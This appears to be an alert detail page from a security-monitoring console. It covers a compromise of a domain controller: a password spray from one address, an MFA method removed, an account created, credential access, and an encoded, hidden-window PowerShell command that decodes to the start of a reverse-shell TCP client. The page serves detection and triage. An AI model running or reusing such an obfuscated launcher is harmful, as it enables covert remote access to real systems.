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// Operations
Process Execution
Encoded PowerShell command block executed with hidden window and execution policy bypass
EVT-502CBCHigh
Command line
powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA=
Same principal
Other activity for jsmith around this time
| Time | Event | Severity | Host |
|---|---|---|---|
| 2026-09-04 14:17:53Z | Authentication Failure | Low | WIN-DC01 |
| 2026-09-04 14:21:05Z | Authentication Failure | Low | WIN-DC01 |
| 2026-09-04 14:24:17Z | Authentication Failure | Low | WIN-DC01 |
| 2026-09-04 14:27:29Z | Authentication Success | High | WIN-DC01 |
| 2026-09-04 14:30:29Z | Mfa Method Removed | High | WIN-DC01 |
| 2026-09-04 14:33:29Z | User Created | Critical | WIN-DC01 |
| 2026-09-04 14:39:29Z | Credential Access | Critical | WIN-DC01 |
Same source address
Other activity from 185.100.200.50
| Time | Event | User | Country |
|---|---|---|---|
| 2026-09-04 14:15:29Z | Authentication Failure | awhitmore | Pakistan |
| 2026-09-04 14:15:41Z | Authentication Failure | bpatel | Pakistan |
| 2026-09-04 14:15:53Z | Authentication Failure | cdiaz | Pakistan |
| 2026-09-04 14:16:05Z | Authentication Failure | dnakamura | Pakistan |
| 2026-09-04 14:16:17Z | Authentication Failure | ekowalski | Pakistan |
| 2026-09-04 14:16:29Z | Authentication Failure | fokoye | Pakistan |
| 2026-09-04 14:16:41Z | Authentication Failure | gsimmons | Pakistan |
| 2026-09-04 14:16:53Z | Authentication Failure | hlindqvist | Pakistan |
| 2026-09-04 14:17:05Z | Authentication Failure | ivanov | Pakistan |
| 2026-09-04 14:17:17Z | Authentication Failure | jmercier | Pakistan |
| 2026-09-04 14:17:29Z | Authentication Failure | kthompson | Pakistan |
| 2026-09-04 14:17:41Z | Authentication Failure | lgarcia | Pakistan |
| 2026-09-04 14:17:53Z | Authentication Failure | jsmith | Pakistan |
| 2026-09-04 14:18:05Z | Authentication Failure | svc_backup | Pakistan |
| 2026-09-04 14:18:17Z | Authentication Failure | svc_sql | Pakistan |
Record
- Source
- CrowdStrike FalconEndpoint
- Event type
- PROCESS_EXECUTION
- Observed
Pivot
Every identifier on this record, as a one-click hunt.
Alerts raised
- Encoded PowerShell executed on WIN-DC01High
PowerShell ran a base64-encoded command block with a hidden window on a domain controller.
Open the incident